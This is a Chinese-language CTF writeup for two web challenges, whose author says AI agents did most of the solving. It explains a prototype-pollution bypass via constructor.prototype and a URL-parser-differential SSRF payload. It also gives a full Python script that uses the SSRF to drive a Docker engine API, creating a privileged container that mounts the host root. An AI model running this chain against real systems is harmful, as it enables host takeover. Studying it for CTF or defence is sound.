第二届湾区杯。各类 Agent 在比赛中大杀特杀。
比赛开始不过几分钟,各个方向的简单题都有十几个队伍拿到 Flag. 真不愧是 AI 挖洞的时代啊。
比赛全程没有我自己的分析,全是我跟着 AI 的思路复现漏洞,然后自己懂个大概,才能把 Writeup 写出来。这么做能拿到 Flag, 但总感觉心里不踏实。唉,我们的 CTF 将何去何从~
Web
ThemeForge
“属性路径”中的接口可以更改用户 Profile 的属性;目标显然是拿到 role 属性的编辑权限;直接更改会被拦截。
class Profile {
constructor(id) {
this.id = id
this.role = 'designer'
this.theme = Object.assign(Object.create(null), {
accent: '#8b5cf6',
density: 'comfortable',
glow: true,
})
}
}
点击“应用补丁”,页面会将本次请求的 Response Body 回显。
但是它只拦截了 __proto__ ,没拦截 constructor.prototype ? 而且将用户输入按 . 分割成数组后,只检查第一个字段是否有违禁词。
通过原型链,更改当前用户 Profile 的 isAdmin 属性为 true, 可以看到 effectiveAdmin 返回 true

SchemaStudio[未解出]
时序攻击吗??
DockRelay
Payload:
http://hooks.partner.test\@engine-api:2375/version
JS 内置的 Web API URL 解析器用的是 WHATWG URL 标准,会将 反斜杠 \ 自动解析成斜杠 /
而 libcurl 会用另一套规则来解析 URL 字符串。
在 Node REPL 中:
而在 libcurl 中,这段 URL 的 hostname 会被解析成 hooks.partner.test
在 policy.mjs 中:
export const ALLOWED_HOST = 'hooks.partner.test'
export function getHost(rawUrl) {
if (typeof rawUrl !== 'string' || rawUrl.length < 8 || rawUrl.length > 4096) {
throw Object.assign(new Error('URL_INVALID'), { status: 400, code: 'URL_INVALID' })
}
let parsed
try {
parsed = new URL(rawUrl)
} catch {
throw Object.assign(new Error('URL_INVALID'), { status: 400, code: 'URL_INVALID' })
}
if (parsed.protocol !== 'http:') {
throw Object.assign(new Error('HTTP_ONLY'), { status: 400, code: 'HTTP_ONLY' })
}
return { host: parsed.hostname.toLowerCase(), normalizedHref: parsed.href }
}
export function enforcePartnerPolicy(rawUrl) {
const parsed = getHost(rawUrl)
if (parsed.host !== ALLOWED_HOST) {
throw Object.assign(new Error('HOST_NOT_APPROVED'), {
status: 403,
code: 'HOST_NOT_APPROVED',
validatorHost: parsed.host,
})
}
return parsed
}
parsed 变量是由原始 URL 字符串 rawUrl 转换成 JS 中的 URL 对象;而最下方 enforcePartnerPolicy() 则读取 URL 对象中的 host. 利用这个解析特性,就可以构造出 Payload.
在 curl-executor.mjs 中,curl 会直接接收 rawUrl 作为参数,以发送请求。
AI 写脚本解决:
#!/usr/bin/env python3
"""
DockRelay 线上复现:5 步拿到 flag。
用法:
python repro_flag.py # 使用默认线上靶机
TARGET=https://host:3000 python repro_flag.py
ENGINE=engine-api:2375 python repro_flag.py
依赖: requests (见下方 uv 安装说明)。
"""
from __future__ import annotations
import json
import os
import sys
import requests
import urllib3
# 线上靶机入口(云平台反代,走 HTTPS,自签证书 -> verify=False)
TARGET = os.environ.get("TARGET", "https://eci-2zedhgxt1j9mqbxlz36q.cloudeci1.ichunqiu.com:3000")
API = f"{TARGET.rstrip('/')}/api/v1/diagnostics/execute"
# 校验器(URL()) 看到的“获批品牌名”,必须等于 approvedHost
APPROVED = "hooks.partner.test"
# 真正的外部伙伴服务(baseline 才用)
BASELINE_UPSTREAM = "hooks.partner.test:8080"
# SSRF 真正命中的内网引擎
ENGINE = os.environ.get("ENGINE", "engine-api:2375")
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def relay(method: str, url: str, body: dict | None = None) -> dict:
"""POST /api/v1/diagnostics/execute,返回完整响应 dict。"""
payload: dict = {"url": url, "method": method}
if body is not None:
payload["body"] = body
resp = requests.post(API, json=payload, verify=False, timeout=30)
try:
return resp.json()
except ValueError as exc: # 前端常见:端点返回 HTML -> 无法按 JSON 解析
raise SystemExit(f"[!] 响应不是 JSON (HTTP {resp.status_code}): {resp.text[:200]!r} "
f"\n 多半是路径不对(用了非 /catalog 之类)。") from exc
def show(label: str, data: dict) -> None:
"""打印一步的结果。"""
print(f"\n=== {label} ===")
if "error" in data:
print(" relay error:", json.dumps(data, ensure_ascii=False))
return
validator = data.get("validator", {})
upstream = data.get("upstream", {})
print(" validator host :", validator.get("host"), "| decision:", validator.get("decision"))
print(" normalized url :", validator.get("normalizedUrl"))
print(" upstream http :", upstream.get("status"))
text = upstream.get("bodyText")
print(" body :", text if text is not None
else f"(binary/base64, {upstream.get('responseBytes', 0)} bytes)")
def approved_base() -> str:
# URL 里的 \\ 会被 Python 转成单个反斜杠;requests 序列化时再转义为 \\,
# 服务端解析回来是单个 \。Node URL() 把它当 /,curl 把它当 userinfo 分隔。
return f"http://{APPROVED}\\@{ENGINE}"
def main() -> int:
# 1) baseline:拿到 catalog(合法外联目标,泄露 build plane)
show("1) BASELINE GET /catalog",
relay("GET", f"http://{BASELINE_UPSTREAM}/catalog"))
# 2) SSRF -> engine /version(打过 parser differential)
show("2) SSRF GET engine /version",
relay("GET", f"{approved_base()}/version"))
# 3) create:特权 + 只读绑宿主根(门禁强制策略)
create_body = {
"Image": "host-reader:1.0",
"HostConfig": {"Privileged": True, "Binds": ["/:/host:ro"]},
}
create = relay("POST", f"{approved_base()}/containers/create", create_body)
show("3) POST /containers/create (Privileged + /:/host:ro)", create)
# 提取 container id
upstream = create.get("upstream", {})
cid = ""
if upstream.get("status") == 201 and upstream.get("bodyText"):
cid = json.loads(upstream["bodyText"]).get("Id", "")
if not cid:
print("\n[!] 未拿到容器 Id,链条中断(create 未成功)。")
return 1
print(f"\n container id: {cid}")
# 4) start
show("4) POST /containers/{id}/start",
relay("POST", f"{approved_base()}/containers/{cid}/start"))
# 5) logs -> flag
show("5) GET /containers/{id}/logs?stdout=1&stderr=1",
relay("GET", f"{approved_base()}/containers/{cid}/logs?stdout=1&stderr=1"))
return 0
if __name__ == "__main__":
sys.exit(main())